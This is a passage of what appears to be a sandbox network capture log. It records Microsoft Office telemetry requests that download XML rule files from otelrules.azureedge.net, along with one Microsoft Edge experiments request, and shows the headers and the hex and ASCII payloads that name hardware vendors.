2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:30 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:30 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:30 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: fa11464d-701e-0032-1f49-27a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014630Z-16849878b78p8hrf1se7fucxk800000006ng00000000pu9m x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:30 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:30 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:30 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:30 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 46a88b53-101e-0017-7e74-2747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014630Z-16849878b78nx5sne3fztmu6xc00000006rg00000000n8dd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 01:46:30 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:30 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:30 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:30 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 892d3b27-201e-005d-7649-27afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014630Z-16849878b78wc6ln1zsrz6q9w800000005n0000000001wbx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:30 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49775	94.245.104.56	443	7736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:30 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 01:46:31 UTC	725	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Tue, 29 Oct 2024 01:46:30 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=094171560b8c9ed7eba2dd47eb67eb7546aba68f09ee60bff10f332db60735de;Path=/;HttpOnly;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinity=8b656f4ecf6270dbe9097aac1834960f61903fdb6f6ce3be7cbc242f17e7233a;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=8b656f4ecf6270dbe9097aac1834960f61903fdb6f6ce3be7cbc242f17e7233a;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:30 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:31 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:30 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 5e4053db-f01e-0052-6472-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014630Z-16849878b78q9m8bqvwuva4svc000000048000000000tkym x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:31 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:30 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:31 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 63cccf2b-801e-0067-3256-26fe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014630Z-17c5cb586f6gkqkwd0x1ge8t0400000006ag000000005u67 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:31 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:30 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:31 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:30 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: c9fe3c14-601e-0050-50d7-262c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014630Z-15b8d89586fxdh48qknu9dqk2g00000009sg00000000dwb5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:31 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.5	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:30 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:30 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 01fc617d-601e-000d-05a4-262618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014630Z-16849878b78tg5n42kspfr0x4800000005x00000000083yq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:31 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.5	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:31 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:32 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:31 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 16672fc1-b01e-0001-32e8-2846e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014631Z-r197bdfb6b4d9xksru4x6qbqr000000005x0000000008gp3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 01:46:32 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:31 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:32 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:31 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 6856914c-401e-0029-0667-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014631Z-16849878b78smng4k6nq15r6s400000007a000000000gntn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:32 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:31 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:32 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:31 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 0ce3105a-501e-0029-7cd2-26d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014631Z-16849878b78tg5n42kspfr0x4800000005s000000000unq9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 01:46:32 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:31 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:32 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:31 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: a783173c-501e-008c-2349-27cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014631Z-15b8d89586fmc8ck21zz2rtg1w00000002yg00000000g7xw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:32 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
